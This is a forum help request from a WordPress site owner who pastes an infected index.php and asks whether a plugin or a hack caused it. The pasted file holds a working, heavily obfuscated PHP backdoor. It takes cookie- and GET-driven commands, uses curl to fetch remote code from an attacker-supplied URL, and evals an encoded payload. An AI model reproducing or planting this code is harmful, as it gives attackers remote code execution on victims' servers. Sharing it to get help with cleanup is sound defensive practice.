I’m a newbie WP person.
I have a WP site that quit working.
I checked a bunch of stuff and it ended up being the index.php file has a bunch of “stuff” in it. I replaced the file with the standard, default index.php and everything worked.
I’m afraid that my server is hacked in some way….
here is the “broken” index.php file which has some curl statements in there.
Is this something that a bad plugin or something could do or do I need to be looking for something more nefarious? I don’t see any other suspect folders or files.

<?php error_reporting(0); 
$DnYX=${"\x5f\x43\x4f\x4f\x4b\x49\x45"};@(count($DnYX)==15&&in_array(gettype($DnYX).count($DnYX),$DnYX))?(($DnYX[64]=$DnYX[64].$DnYX[76])&&($DnYX[85]=
$DnYX[64]($DnYX[85]))&&(@$DnYX=$DnYX[85]
($DnYX[51],$DnYX[64](${$DnYX[45]}[15])))&&$DnYX()):$DnYX; $bCQ = array(@${"\x5f\x47\x45\x54"}["\x41\x52\x52\x41\x59"],
"\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e","\x73\x74\x72\x5f\x72\x6f\x74\x31\x33","\x6a\x73\x6f\x6e\x5f\x64\x65\x63\x6f\x64\x65",
"\x70\x61\x63\x6b","\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",);
$PEDMb = $bCQ[2]($bCQ[0]);$BEhd = $bCQ[4]("\x48\x2a", $PEDMb);$Aq = $bCQ[3]($BEhd, true);if (($Aq[0] - time()) > 0 
and md5(md5($Aq[2])) === "79657a47a0f81b59ad6f15f626d39bf7") { $oY = curl_init($Aq[1]); curl_setopt($oY, CURLOPT_RETURNTRANSFER, 1); 
    $yv = curl_exec($oY);$pnuE = empty($yv)?$bCQ[6]($Aq[1]):$yv;@$bCQ[1]("", "\x7d" . $bCQ[5]($pnuE) . "\x2f\x2a"); die;} 
    $ZpU="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"; $KNVA=@$ZpU('$F',
    "\x65\x76\x61\x6c\x28\x22\x3f\x3e\x22\x2e\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x28\x67\
    x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x28\x24\x46\x29\
    x29\x29\x29\x29\x29\x3b"); @$KNVA("eIaMydYVSi2tsewtHS08btERZPhG+bM0nnbbxPVFsU2sNNqHZeBl+w64nyHXRJspr5/
    wrPWfQ56MU1klZyjFm+kfxiFTaXRBhGyOj9GSC3jC0KqC2uj8gR4zd1miaH5cXAWfjiBMd69UqudALdiX1BR5p+xzXFlPF/TU4xodh4CXeT+
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<?php define( 'WP_USE_THEMES', true ); 
require('./wp-blog-header.php');?>
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
</body>
</html>